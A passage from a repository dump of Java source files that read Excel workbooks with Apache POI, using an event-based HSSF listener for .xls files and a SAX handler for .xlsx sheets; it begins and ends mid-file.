    "content": "package com.jun.plugin.poi.test.excel.reader.hssf;\n\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\n\nimport org.apache.poi.hssf.eventusermodel.HSSFEventFactory;\nimport org.apache.poi.hssf.eventusermodel.HSSFListener;\nimport org.apache.poi.hssf.eventusermodel.HSSFRequest;\nimport org.apache.poi.hssf.eventusermodel.MissingRecordAwareHSSFListener;\nimport org.apache.poi.hssf.eventusermodel.EventWorkbookBuilder.SheetRecordCollectingListener;\nimport org.apache.poi.hssf.eventusermodel.dummyrecord.LastCellOfRowDummyRecord;\nimport org.apache.poi.hssf.eventusermodel.dummyrecord.MissingCellDummyRecord;\nimport org.apache.poi.hssf.model.HSSFFormulaParser;\nimport org.apache.poi.hssf.record.BOFRecord;\nimport org.apache.poi.hssf.record.BlankRecord;\nimport org.apache.poi.hssf.record.BoolErrRecord;\nimport org.apache.poi.hssf.record.BoundSheetRecord;\nimport org.apache.poi.hssf.record.EOFRecord;\nimport org.apache.poi.hssf.record.FormulaRecord;\nimport org.apache.poi.hssf.record.LabelRecord;\nimport org.apache.poi.hssf.record.LabelSSTRecord;\nimport org.apache.poi.hssf.record.NoteRecord;\nimport org.apache.poi.hssf.record.NumberRecord;\nimport org.apache.poi.hssf.record.RKRecord;\nimport org.apache.poi.hssf.record.Record;\nimport org.apache.poi.hssf.record.SSTRecord;\nimport org.apache.poi.hssf.record.StringRecord;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.poifs.filesystem.POIFSFileSystem;\n\nimport com.google.common.base.Strings;\nimport com.google.common.collect.ImmutableSet;\nimport com.jun.plugin.poi.test.excel.reader.ExcelReadListener;\nimport com.jun.plugin.poi.test.excel.vo.CellKV;\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\n\n/**\n * @author Wujun\n *\n * @date 2016-2-17\n * Description:  \n */\npublic abstract class HSSFListenerAbstract implements HSSFListener {\n\tprivate POIFSFileSystem fs;\n\n\tprivate int lastRowNumber;\n\tprivate int lastColumnNumber;\n\n\t/** Should we output the formula, or the value it has? 输出表达式还是输出值 */\n\tprivate boolean outputFormulaValues = true;\n\n\t/** For parsing Formulas */\n\tprivate SheetRecordCollectingListener workbookBuildingListener;\n\tprivate HSSFWorkbook stubWorkbook;\n\n\t// Records we pick up as we process\n\tprivate SSTRecord sstRecord;\n\tprivate ExcelFormatTrackingHSSFListener formatListener;\n\n\t/** So we known which sheet we're on */\n\tprivate int sheetIndex = -1;\n\tprivate BoundSheetRecord[] orderedBSRs;\n\t@SuppressWarnings(\"unchecked\")\n\tprivate ArrayList boundSheetRecords = new ArrayList();\n\n\t// For handling formulas with string results\n\tprivate int nextRow;\n\tprivate int nextColumn;\n\tprivate boolean outputNextStringRecord;\n\n\tprivate int curRow;\n\tprivate ListRow rowlist;\n\t@SuppressWarnings(\"unused\")\n\tprivate String sheetName;\n\tprivate ExcelReadListener excelReader;\n\tprivate int maxReadLine = Integer.MAX_VALUE;\n\tprivate boolean startRead = true;\n\tprivate boolean ignoreNumFormat = false;\n\n\tprivate String aimSheetName = null;\n\tImmutableSet<Integer> aimSheetIndex;\n\t/**\n\t * 开始读取exclesheet标识\n\t */\n\tprivate boolean startReadSheet=false;\n\n\tpublic HSSFListenerAbstract(POIFSFileSystem fs,\n\t\t\tExcelReadListener excelReader) throws SQLException {\n\t\tthis(fs,excelReader,false);\n\t}\n\tpublic HSSFListenerAbstract(POIFSFileSystem fs,\n\t\t\tExcelReadListener excelReader,boolean ignoreNumFormat) throws SQLException {\n\t\tthis.fs = fs;\n\t\tthis.curRow = 0;\n\t\tthis.rowlist = new ListRow();\n\t\tthis.excelReader = excelReader;\n\t\tthis.ignoreNumFormat=ignoreNumFormat;\n\t}\n\n\tpublic HSSFListenerAbstract(String filename, ExcelReadListener excelReader)\n\t\t\tthrows IOException, FileNotFoundException, SQLException {\n\t\tthis(new POIFSFileSystem(new FileInputStream(filename)), excelReader);\n\t}\n\n\t// excel记录行操作方法，以sheet索引，行索引和行元素列表为参数，对sheet的一行元素进行操作，元素为String类型\n\tpublic abstract void optRows(int sheetIndex, int curRow,\n\t\t\tListRow rowlist) ;\n\n\t/**\n\t * 遍历 excel 文件\n\t */\n\tprotected void process() throws IOException {\n\t\tMissingRecordAwareHSSFListener listener = new MissingRecordAwareHSSFListener(\n\t\t\t\tthis);\n\t\tformatListener = new ExcelFormatTrackingHSSFListener(listener);\n\t\tformatListener.ignoreNumFormat(ignoreNumFormat);\n\t\tHSSFEventFactory factory = new HSSFEventFactory();\n\t\tHSSFRequest request = new HSSFRequest();\n\n\t\tif (outputFormulaValues) {\n\t\t\trequest.addListenerForAllRecords(formatListener);\n\t\t} else {\n\t\t\tworkbookBuildingListener = new SheetRecordCollectingListener(\n\t\t\t\t\tformatListener);\n\t\t\trequest.addListenerForAllRecords(workbookBuildingListener);\n\t\t}\n\n\t\tfactory.processWorkbookEvents(request, fs);\n\t\t\n\t\t\n\t}\n\n\t/**\n\t * HSSFListener 监听方法，处理 Record\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic void processRecord(Record record) {\n\n\t\tint thisRow = -1;\n\t\tint thisColumn = -1;\n\t\tString thisStr = null;\n\t\tString value = null;\n\t\tshort sid = record.getSid();\n\t\tif (BoundSheetRecord.sid == sid) {\n\t\t\tboundSheetRecords.add(record);\n\t\t} else if(EOFRecord.sid==sid){\n\t\t\tif (sheetName != null && sheetIndex != -1) {\n\t\t\t\tif (startReadSheet) {\n\t\t\t\t\texcelReader.endSheet(sheetIndex, sheetName);\n\t\t\t\t\tstartReadSheet=false;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(boundSheetRecords.size()==(sheetIndex+1)){\n\t\t\t\texcelReader.endWorkBook();\n\t\t\t\tif(fs!=null){\n\t\t\t\t\ttry {\n\t\t\t\t\t\tfs.close();\n\t\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t\t//TODO something\n\t\t\t\t\t\t//e.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}else if (BOFRecord.sid == sid) {\n\t\t\tBOFRecord br = (BOFRecord) record;\n\t\t\tif (br.getType() == BOFRecord.TYPE_WORKSHEET) {\n\t\t\t\t// Create sub workbook if required\n\t\t\t\tif (workbookBuildingListener != null && stubWorkbook == null) {\n\t\t\t\t\tstubWorkbook = workbookBuildingListener\n\t\t\t\t\t\t\t.getStubHSSFWorkbook();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Works by ordering the BSRs by the location of\n\t\t\t\t// their BOFRecords, and then knowing that we\n\t\t\t\t// process BOFRecords in byte offset order\n\t\t\t\tsheetIndex++;\n\t\t\t\tif (orderedBSRs == null) {\n\t\t\t\t\torderedBSRs = BoundSheetRecord\n\t\t\t\t\t\t\t.orderByBofPosition(boundSheetRecords);\n\t\t\t\t}\n\t\t\t\tsheetName = orderedBSRs[sheetIndex].getSheetname();\n\t\t\t\tstartRead = true;\n\t\t\t\t\n\t\t\t\tif (aimSheetName != null) {\n\t\t\t\t\tif (aimSheetName != sheetName) {\n\t\t\t\t\t\tstartRead = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (aimSheetIndex != null) {\n\t\t\t\t\tif (aimSheetIndex.contains(sheetIndex)) {\n\t\t\t\t\t\tstartRead = true;\n\t\t\t\t\t}else{\n\t\t\t\t\t\tstartRead = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (startRead) {\n\t\t\t\t\tthis.startReadSheet=true;\n\t\t\t\t\texcelReader.startSheet(sheetIndex, sheetName);\n\t\t\t\t}\n\t\t\t}else if(br.getType() == BOFRecord.TYPE_WORKBOOK){\n\t\t\t\t\n\t\t\t}\n\t\t} else if (!startRead) {\n\t\t\treturn;\n\t\t}\n\n\t\telse if (SSTRecord.sid == sid) {\n\t\t\tsstRecord = (SSTRecord) record;\n\t\t} else if (BlankRecord.sid == sid) {\n\t\t\tBlankRecord brec = (BlankRecord) record;\n\n\t\t\tthisRow = brec.getRow();\n\t\t\tthisColumn = brec.getColumn();\n\t\t\tthisStr = \"\";\n\t\t} else if (BoolErrRecord.sid == sid) {\n\t\t\tBoolErrRecord berec = (BoolErrRecord) record;\n\n\t\t\tthisRow = berec.getRow();\n\t\t\tthisColumn = berec.getColumn();\n\t\t\tthisStr = \"\";\n\n\t\t} else if (FormulaRecord.sid == sid) {\n\t\t\tFormulaRecord frec = (FormulaRecord) record;\n\n\t\t\tthisRow = frec.getRow();\n\t\t\tthisColumn = frec.getColumn();\n\n\t\t\tif (outputFormulaValues) {\n\t\t\t\tif (Double.isNaN(frec.getValue())) {\n\t\t\t\t\t// Formula result is a string\n\t\t\t\t\t// This is stored in the next record\n\t\t\t\t\toutputNextStringRecord = true;\n\t\t\t\t\tnextRow = frec.getRow();\n\t\t\t\t\tnextColumn = frec.getColumn();\n\t\t\t\t} else {\n\t\t\t\t\tthisStr = formatListener.formatNumberDateCell(frec);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tthisStr = '\"' + HSSFFormulaParser.toFormulaString(stubWorkbook,\n\t\t\t\t\t\tfrec.getParsedExpression()) + '\"';\n\t\t\t}\n\t\t} else if (StringRecord.sid == sid) {\n\t\t\tif (outputNextStringRecord) {\n\t\t\t\t// String for formula\n\t\t\t\tStringRecord srec = (StringRecord) record;\n\t\t\t\tthisStr = srec.getString();\n\t\t\t\tthisRow = nextRow;\n\t\t\t\tthisColumn = nextColumn;\n\t\t\t\toutputNextStringRecord = false;\n\t\t\t}\n\n\t\t} else if (LabelRecord.sid == sid) {\n\t\t\tLabelRecord lrec = (LabelRecord) record;\n\n\t\t\tcurRow = thisRow = lrec.getRow();\n\t\t\tthisColumn = lrec.getColumn();\n\t\t\tvalue = lrec.getValue().trim();\n\t\t\tif(!Strings.isNullOrEmpty(value)){\n\t\t\t\trowlist.add(new CellKV<String>(thisColumn, value));\n\t\t\t\t}\n\t\t} else if (LabelSSTRecord.sid == sid) {\n\t\t\tLabelSSTRecord lsrec = (LabelSSTRecord) record;\n\n\t\t\tcurRow = thisRow = lsrec.getRow();\n\t\t\tthisColumn = lsrec.getColumn();\n\t\t\tif (sstRecord == null) {\n\t\t\t\t//rowlist.add(new CellKV(thisColumn, \"\"));\n\t\t\t} else {\n\t\t\t\tvalue = sstRecord.getString(lsrec.getSSTIndex()).toString()\n\t\t\t\t\t\t.trim();\n\t\t\t\tif(!Strings.isNullOrEmpty(value)){\n\t\t\t\t\trowlist.add(new CellKV<String>(thisColumn, value));\n\t\t\t\t\t}\n\t\t\t}\n\t\t} else if (NoteRecord.sid == sid) {\n\t\t\tNoteRecord nrec = (NoteRecord) record;\n\n\t\t\tthisRow = nrec.getRow();\n\t\t\tthisColumn = nrec.getColumn();\n\t\t\t// TODO==sid){Find object to match nrec.getShapeId()\n\t\t\tthisStr = '\"' + \"(TODO)\" + '\"';\n\t\t} else if (NumberRecord.sid == sid) {\n\t\t\tNumberRecord numrec = (NumberRecord) record;\n\n\t\t\tcurRow = thisRow = numrec.getRow();\n\t\t\tthisColumn = numrec.getColumn();\n\t\t\tvalue = formatListener.formatNumberDateCell(numrec).trim();\n\t\t\t// Format\n\t\t\tif(!Strings.isNullOrEmpty(value)){\n\t\t\trowlist.add(new CellKV<String>(thisColumn, value));\n\t\t\t}\n\t\t} else if (RKRecord.sid == sid) {\n\t\t\tRKRecord rkrec = (RKRecord) record;\n\n\t\t\tthisRow = rkrec.getRow();\n\t\t\tthisColumn = rkrec.getColumn();\n\t\t\tthisStr = '\"' + \"(TODO)\" + '\"';\n\n\t\t}\n\n\t\t// 遇到新行的操作\n\t\tif (thisRow != -1 && thisRow != lastRowNumber) {\n\t\t\tlastColumnNumber = -1;\n\t\t}\n\n\t\t// 空值的操作\n\t\tif (record instanceof MissingCellDummyRecord) {\n\t\t\tMissingCellDummyRecord mc = (MissingCellDummyRecord) record;\n\t\t\tcurRow = thisRow = mc.getRow();\n\t\t\tthisColumn = mc.getColumn();\n\t\t\t//rowlist.add(new CellKV(thisColumn, \"\"));\n\t\t}\n\t\t// 如果str非空\n\t\t\tif(!Strings.isNullOrEmpty(thisStr)){\n\t\t\t\trowlist.add(new CellKV<String>(thisColumn, thisStr));\n\t\t\t\t}\n\n\t\t// 更新行和列的值\n\t\tif (thisRow > -1)\n\t\t\tlastRowNumber = thisRow;\n\t\tif (thisColumn > -1)\n\t\t\tlastColumnNumber = thisColumn;\n\n\t\t// 行结束时的操作\n\t\tif (record instanceof LastCellOfRowDummyRecord) {\n\n\t\t\t// 行结束时， 调用 optRows() 方法\n\t\t\tlastColumnNumber = -1;\n\t\t\t\n\n\t\t\t\toptRows(sheetIndex, curRow, rowlist);\n\t\t\t\n\t\t\trowlist.clear();\n\t\t\tif (lastRowNumber >= maxReadLine) {\n\t\t\t\tstartRead = false;\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void setMaxReturnLine(int maxReadLine) {\n\t\tif (maxReadLine > 0) {\n\t\t\tthis.maxReadLine = maxReadLine - 1;\n\t\t}\n\t}\n\n\tpublic boolean isOutputFormulaValues() {\n\t\treturn outputFormulaValues;\n\t}\n\n\tpublic void setOutputFormulaValues(boolean outputFormulaValues) {\n\t\tthis.outputFormulaValues = outputFormulaValues;\n\t}\n\n\tpublic void setAimSheetName(String aimSheetName) {\n\t\tthis.aimSheetName = aimSheetName;\n\t}\n\n\tpublic void setAimSheetIndex(int[] aimSheetIndex) {\n\t\t\n\t\tImmutableSet.Builder<Integer> build =ImmutableSet.builder();\n\t\tfor (int i = 0; i < aimSheetIndex.length; i++) {\n\t\t\tif(aimSheetIndex[i]<0){\n\t\t\t\tthrow new IllegalArgumentException(\"sheet 表的下标不能为负数\");\n\t\t\t}else{\n\t\t\t\tbuild.add(aimSheetIndex[i]);\n\t\t\t}\n\t\t}\n\t\tImmutableSet<Integer> setSheets = build.build();\n\t\tthis.aimSheetIndex = setSheets;\n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/sax/DefaultXSSFSaxHandler.java",
    "content": "package com.jun.plugin.poi.test.excel.reader.sax;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\n\n\nimport org.apache.poi.openxml4j.exceptions.InvalidFormatException;\nimport org.apache.poi.openxml4j.exceptions.OpenXML4JException;\nimport org.apache.poi.openxml4j.opc.OPCPackage;\nimport org.apache.poi.openxml4j.opc.PackageAccess;\nimport org.apache.poi.xssf.eventusermodel.XSSFReader;\nimport org.apache.poi.xssf.usermodel.XSSFComment;\nimport org.xml.sax.InputSource;\nimport org.xml.sax.SAXException;\nimport org.xml.sax.XMLReader;\nimport org.xml.sax.helpers.XMLReaderFactory;\n\nimport com.google.common.base.Strings;\nimport com.google.common.collect.ImmutableSet;\nimport com.jun.plugin.poi.test.excel.exception.BingSaxReadStopException;\nimport com.jun.plugin.poi.test.excel.reader.ExcelReadListener;\nimport com.jun.plugin.poi.test.excel.reader.ReadHandler;\nimport com.jun.plugin.poi.test.excel.reader.sax.ExcelXSSFSheetXMLHandler.BingSheetContentsHandler;\nimport com.jun.plugin.poi.test.excel.vo.CellKV;\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\n\n/**\n * @author Wujun\n * \n * @date 2016-2-2 Description:\n *       读取07excel的sax方法，解析器默认使用org.apache.xerces.parsers.SAXParser\n *       。可以痛痛set方法手动设置\n */\npublic class DefaultXSSFSaxHandler implements ReadHandler {\n\tprivate OPCPackage pkg;\n\tprivate XMLReader parser;\n\tprivate ExcelReadListener excelReader;\n\tprivate boolean ignoreNumFormat = false;\n\tprivate DefaultSheetContentsHandler handler ;\n\tpublic DefaultXSSFSaxHandler(String path, ExcelReadListener excelReader)\n\t\t\tthrows InvalidFormatException, IOException {\n\t\tthis(path, excelReader, false);\n\t}\n\n\tpublic DefaultXSSFSaxHandler(File file, ExcelReadListener excelReader)\n\t\t\tthrows InvalidFormatException, IOException {\n\t\tthis(file, excelReader, false);\n\t}\n\n\tpublic DefaultXSSFSaxHandler(InputStream in, ExcelReadListener excelReader)\n\t\t\tthrows InvalidFormatException, IOException {\n\t\tthis(in, excelReader, false);\n\t}\n\n\tpublic DefaultXSSFSaxHandler(String path, ExcelReadListener excelReader,\n\t\t\tboolean ignoreNumFormat) throws InvalidFormatException, IOException {\n\t\t\n\t\tthis(new File(path),excelReader,ignoreNumFormat);\n\t\t\n\t}\n\n\tpublic DefaultXSSFSaxHandler(File file, ExcelReadListener excelReader,\n\t\t\tboolean ignoreNumFormat) throws InvalidFormatException {\n\t\t\n\t\t\n\t\ttry {\n\t\t\tthis.pkg = OPCPackage.open(file, PackageAccess.READ);\n\t\t\tthis.excelReader = excelReader;\n\t\t\tthis.ignoreNumFormat = ignoreNumFormat;\n\t\t\tthis.handler = new DefaultSheetContentsHandler(\n\t\t\t\t\texcelReader);\n\t\t} catch (IllegalArgumentException  e) {\n\t\t\t//异常是open方法抛出的。确保io关闭\n\t\t\tpkg.revert();\n\t\t\tthrow e;\n\t\t}\n\t}\n\n\tpublic DefaultXSSFSaxHandler(InputStream in, ExcelReadListener excelReader,\n\t\t\tboolean ignoreNumFormat) throws InvalidFormatException, IOException {\n\t\t// 不应该调用？异常没有处理\n\t\tthis(OPCPackage.open(in),excelReader,ignoreNumFormat);\n\t}\n\tpublic DefaultXSSFSaxHandler(OPCPackage pkg, ExcelReadListener excelReader,\n\t\t\tboolean ignoreNumFormat) throws InvalidFormatException {\n\t\t\n\t\tthis.pkg = pkg;\n\t\tthis.excelReader = excelReader;\n\t\tthis.ignoreNumFormat = ignoreNumFormat;\n\t\tthis.handler = new DefaultSheetContentsHandler(\n\t\t\t\texcelReader);\n\t}\n\n\t@Override\n\tpublic void readSheets(int maxReadLine) throws IOException, OpenXML4JException, SAXException {\n\t\tsetMaxReturnLine(maxReadLine);\n\t\treadSheets();\n\t}\n\t\n\t@Override\n\tpublic void readSheets() throws IOException, OpenXML4JException, SAXException {\n\t\tif (pkg == null) {\n\t\t\tthrow new NullPointerException(\"OPCPackage 对象为空\");\n\t\t}\n\t\tXSSFReader xssfReader;\n\t\tXSSFReader.SheetIterator sheets;\n\t\tExcelReadOnlySharedStringsTable strings;\n\t\ttry {\n\t\t\txssfReader = new XSSFReader(pkg);\n\t\t\tsheets = (XSSFReader.SheetIterator) xssfReader\n\t\t\t\t\t.getSheetsData();\n\t\t\tstrings = new ExcelReadOnlySharedStringsTable(\n\t\t\t\t\tpkg);\n\t\t} catch (IllegalArgumentException e1) {\n\t\t\tpkg.revert();\n\t\t\tthrow e1;\n\t\t}\n\t\tint sheetIndex = 0;\n\t\t\n\t\tExcelXSSFSheetXMLHandler sheetXMLHandler = new ExcelXSSFSheetXMLHandler(\n\t\t\t\txssfReader.getStylesTable(), strings, handler, false);\n\t\t// 是不按照格式化输出字符\n\t\tsheetXMLHandler.ignoreNumFormat(ignoreNumFormat);\n\t\tgetParser().setContentHandler(sheetXMLHandler);\n\t\twhile (sheets.hasNext()) {\n\t\t\ttry (InputStream sheet = sheets.next()) {\n\t\t\t\tString name = sheets.getSheetName();\n\t\t\t\texcelReader.startSheet(sheetIndex, name);\n\t\t\t\tInputSource sheetSource = new InputSource(sheet);\n\t\t\t\n\t\t\t\ttry {\n\t\t\t\t\tgetParser().parse(sheetSource);\n\t\t\t\t} catch (SAXException e) {\n\t\t\t\t\tif (e instanceof BingSaxReadStopException) {\n\t\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthrow e;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\texcelReader.endSheet(sheetIndex, name);\n\t\t\t\tsheetIndex++;\n\t\t\t}\n\t\t}\n\t\t//Close the package WITHOUT saving its content. Reinitialize this package and cancel all changes done to it.\n\t\tpkg.revert();\n\t\texcelReader.endWorkBook();\n\t}\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see com.bing.excel.reader.SaxHandler#process(int)\n\t */\n\t@Override\n\tpublic void readSheet(int index,int maxReadLine) throws IOException, OpenXML4JException,\n\t\t\tSAXException {\n\t\tsetMaxReturnLine(maxReadLine);\n\t\treadSheet(new int[]{index});\n\t}\n\t@Override\n\tpublic void readSheet(int index) throws IOException, OpenXML4JException,\n\tSAXException {\n\t\treadSheet(new int[]{index});\n\t}\n\n\t@Override\n\tpublic void readSheet(int[] indexs,int maxReadLine) throws IOException, OpenXML4JException,\n\tSAXException {\n\t\tsetMaxReturnLine(maxReadLine);\n\t\treadSheet(indexs);\n\t}\n\t@Override\n\tpublic void readSheet(int[] indexs) throws IOException, OpenXML4JException,\n\t\t\tSAXException {\n\t\tif (pkg == null) {\n\t\t\tthrow new NullPointerException(\"OPCPackage is null\");\n\t\t}\n\t\t//ImmutableCollection<Integer> sheetSelect=\n\t\tImmutableSet.Builder<Integer> build =ImmutableSet.builder();\n\t\tfor (int i : indexs) {\n\t\t\tif(i<0){\n\t\t\t\tthrow new IllegalArgumentException(\"index of sheet is a number greater than 0\");\n\t\t\t}else{\n\t\t\t\tbuild.add(i);\n\t\t\t}\n\t\t}\n\t\tImmutableSet<Integer> setSheets = build.build();\n \t\tXSSFReader xssfReader = new XSSFReader(pkg);\n\t\tXSSFReader.SheetIterator sheets = (XSSFReader.SheetIterator) xssfReader\n\t\t\t\t.getSheetsData();\n\t\tExcelReadOnlySharedStringsTable strings = new ExcelReadOnlySharedStringsTable(\n\t\t\t\tpkg);\n\t\tint sheetIndex = 0;\n\t\t\n\t\tExcelXSSFSheetXMLHandler sheetXMLHandler = new ExcelXSSFSheetXMLHandler(\n\t\t\t\txssfReader.getStylesTable(), strings, handler, false);\n\t\t// 是不按照格式化输出字符\n\t\tsheetXMLHandler.ignoreNumFormat(ignoreNumFormat);\n\t\tgetParser().setContentHandler(sheetXMLHandler);\n\t\twhile (sheets.hasNext()) {\n\t\t\ttry (InputStream sheet = sheets.next()) {\n\t\t\t\tString name = sheets.getSheetName();\n\t\t\t\tif (!setSheets.contains(sheetIndex)) {\n\t\t\t\t\tsheetIndex++;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\texcelReader.startSheet(sheetIndex, name);\n\t\t\t\tInputSource sheetSource = new InputSource(sheet);\n\t\t\t\t\n\t\t\t\ttry {\n\t\t\t\t\tgetParser().parse(sheetSource);\n\t\t\t\t} catch (SAXException e) {\n\t\t\t\t\tif (e instanceof BingSaxReadStopException) {\n\t\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthrow e;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\texcelReader.endSheet(sheetIndex, name);\n\t\t\t\tsheetIndex++;\n\t\t\t}\n\t\t}\n\t\texcelReader.endWorkBook();\n\t\tpkg.revert();\n\t}\n\n\t@Override\n\tpublic void readSheet(String indexName, int maxReadLine)\n\t\t\tthrows IOException, OpenXML4JException, SAXException {\n\t\tsetMaxReturnLine(maxReadLine);\n\t\treadSheet(indexName);\n\t}\n\n\t@Override\n\tpublic void readSheet(String sheetName) throws IOException, SAXException,\n\t\t\tOpenXML4JException {\n\t\tif (pkg == null) {\n\t\t\tthrow new NullPointerException(\"OPCPackage 对象为空\");\n\t\t}\n\t\tXSSFReader xssfReader = new XSSFReader(pkg);\n\t\tXSSFReader.SheetIterator sheets = (XSSFReader.SheetIterator) xssfReader\n\t\t\t\t.getSheetsData();\n\t\tExcelReadOnlySharedStringsTable strings = new ExcelReadOnlySharedStringsTable(\n\t\t\t\tpkg);\n\t\tint sheetIndex = 0;\n\t\t\n\t\tExcelXSSFSheetXMLHandler sheetXMLHandler = new ExcelXSSFSheetXMLHandler(\n\t\t\t\txssfReader.getStylesTable(), strings, handler, false);\n\t\t// 是不按照格式化输出字符\n\t\tsheetXMLHandler.ignoreNumFormat(ignoreNumFormat);\n\t\tgetParser().setContentHandler(sheetXMLHandler);\n\t\twhile (sheets.hasNext()) {\n\t\t\ttry (InputStream sheet = sheets.next()) {\n\t\t\t\tString name = sheets.getSheetName();\n\t\t\t\t\n\t\t\t\tif (!name.equals(sheetName)) {\n\t\t\t\t\tsheetIndex++;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\texcelReader.startSheet(sheetIndex, name);\n\t\t\t\tInputSource sheetSource = new InputSource(sheet);\n\t\t\t\ttry {\n\t\t\t\t\tgetParser().parse(sheetSource);\n\t\t\t\t} catch (SAXException e) {\n\t\t\t\t\tif (e instanceof BingSaxReadStopException) {\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthrow e;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\texcelReader.endSheet(sheetIndex, name);\n\t\t\t\tsheetIndex++;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\texcelReader.endWorkBook();\n\t\tthis.pkg.revert();\n\t}\n\n\tpublic XMLReader getParser() throws SAXException {\n\t\tif (parser == null) {\n\t\t\tparser = XMLReaderFactory\n\t\t\t\t\t.createXMLReader(\"org.apache.xerces.parsers.SAXParser\");\n\t\t}\n\t\treturn parser;\n\t}\n\n\tpublic void setParser(XMLReader parser) {\n\t\tthis.parser = parser;\n\t}\n\n\tprotected void setMaxReturnLine(int num) {\n\t\tthis.handler.setMaxReadLine(num);\n\t}\n\n\tprivate static class DefaultSheetContentsHandler implements\n\t\t\tBingSheetContentsHandler {\n\t\tprivate ListRow rowList;\n\t\tprivate ExcelReadListener excelReader;\n\t\tprivate int maxReadLine = Integer.MAX_VALUE;\n\n\t\tpublic DefaultSheetContentsHandler(ExcelReadListener excelReader) {\n\t\t\tthis.excelReader = excelReader;\n\t\t}\n\n\t\t/**\n\t\t * Converts an Excel column name like \"C\" to a zero-based index.\n\t\t * \n\t\t * @param name\n\t\t * @return Index corresponding to the specified name\n\t\t */\n\t\tprivate int nameToColumn(String name) {\n\t\t\tint firstDigit = -1;\n\t\t\tchar[] array = name.toCharArray();\n\t\t\tfor (int c = 0; c < array.length; ++c) {\n\t\t\t\tif (Character.isDigit(name.charAt(c))) {\n\t\t\t\t\tfirstDigit = c;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tint column = -1;\n\t\t\tfor (int i = 0; i < firstDigit; ++i) {\n\t\t\t\tint c = array[i];\n\t\t\t\tcolumn = (column + 1) * 26 + c - 'A';\n\t\t\t}\n\t\t\treturn column;\n\t\t}\n\n\t\t@Override\n\t\tpublic void startRow(int rowNum) throws BingSaxReadStopException {\n\t\t\tif (rowNum > maxReadLine) {\n\t\t\t\tthrow new BingSaxReadStopException(\"stop mark\");\n\t\t\t}\n\t\t\trowList = new ListRow();\n\t\t}\n\n\t\t@Override\n\t\tpublic void endRow(int rowNum) {\n\n\t\t\texcelReader.optRow(rowNum, rowList);\n\t\t}\n\n\t\t@Override\n\t\tpublic void cell(int rowNum, String cellReference,\n\t\t\t\tString formattedValue, XSSFComment comment)\n\t\t\t\t {\n\t\t\t\n\t\t\tif (!Strings.isNullOrEmpty(formattedValue)) {\n\t\t\t\tint column = nameToColumn(cellReference);\n\t\t\t\trowList.add(new CellKV<String>(column, formattedValue));\n\t\t\t}\n\t\t\t\n\t\t}\n\n\t\t@Override\n\t\tpublic void headerFooter(String text, boolean isHeader, String tagName) {\n\t\t}\n\n\t\tpublic void setMaxReadLine(int maxReadLine) {\n\t\t\tif (maxReadLine > 0){\n\t\t\t\tthis.maxReadLine = maxReadLine-1;\n\t\t\t}\n\t\t}\n\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/sax/ExcelReadOnlySharedStringsTable.java",
    "content": "package com.jun.plugin.poi.test.excel.reader.sax;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport javax.xml.parsers.ParserConfigurationException;\n\nimport org.apache.poi.openxml4j.opc.OPCPackage;\nimport org.apache.poi.openxml4j.opc.PackagePart;\nimport org.apache.poi.openxml4j.opc.PackageRelationship;\nimport org.apache.poi.util.SAXHelper;\nimport org.apache.poi.xssf.eventusermodel.ReadOnlySharedStringsTable;\nimport org.apache.poi.xssf.usermodel.XSSFRelation;\nimport org.xml.sax.Attributes;\nimport org.xml.sax.InputSource;\nimport org.xml.sax.SAXException;\nimport org.xml.sax.XMLReader;\n\n/**\n * @author Wujun\n *\n * @date 2016-1-26\n * Description:  解决读取mac上xlsx结尾的excel文件读取中文问题\n */\npublic class ExcelReadOnlySharedStringsTable extends ReadOnlySharedStringsTable {\n\n\tpublic ExcelReadOnlySharedStringsTable(OPCPackage pkg) throws IOException,\n\t\t\tSAXException {\n\t\tsuper(pkg);\n\n\t}\n\n\tpublic ExcelReadOnlySharedStringsTable(PackagePart part,\n\t\t\tPackageRelationship rel_ignored) throws IOException, SAXException {\n\t\tsuper(part, rel_ignored);\n\n\t}\n\n\t/**\n\t * An integer representing the total count of strings in the workbook. This\n\t * count does not include any numbers, it counts only the total of text\n\t * strings in the workbook.\n\t */\n\tprivate int count;\n\n\t/**\n\t * An integer representing the total count of unique strings in the Shared\n\t * String Table. A string is unique even if it is a copy of another string,\n\t * but has different formatting applied at the character level.\n\t */\n\tprivate int uniqueCount;\n\n\t/**\n\t * The shared strings table.\n\t */\n\tprivate List<String> strings;\n\n\t/**\n\t * Read this shared strings table from an XML file.\n\t * \n\t * @param is\n\t *            The input stream containing the XML document.\n\t * @throws IOException\n\t *             if an error occurs while reading.\n\t * @throws SAXException\n\t * @throws ParserConfigurationException\n\t */\n\tpublic void readFrom(InputStream is) 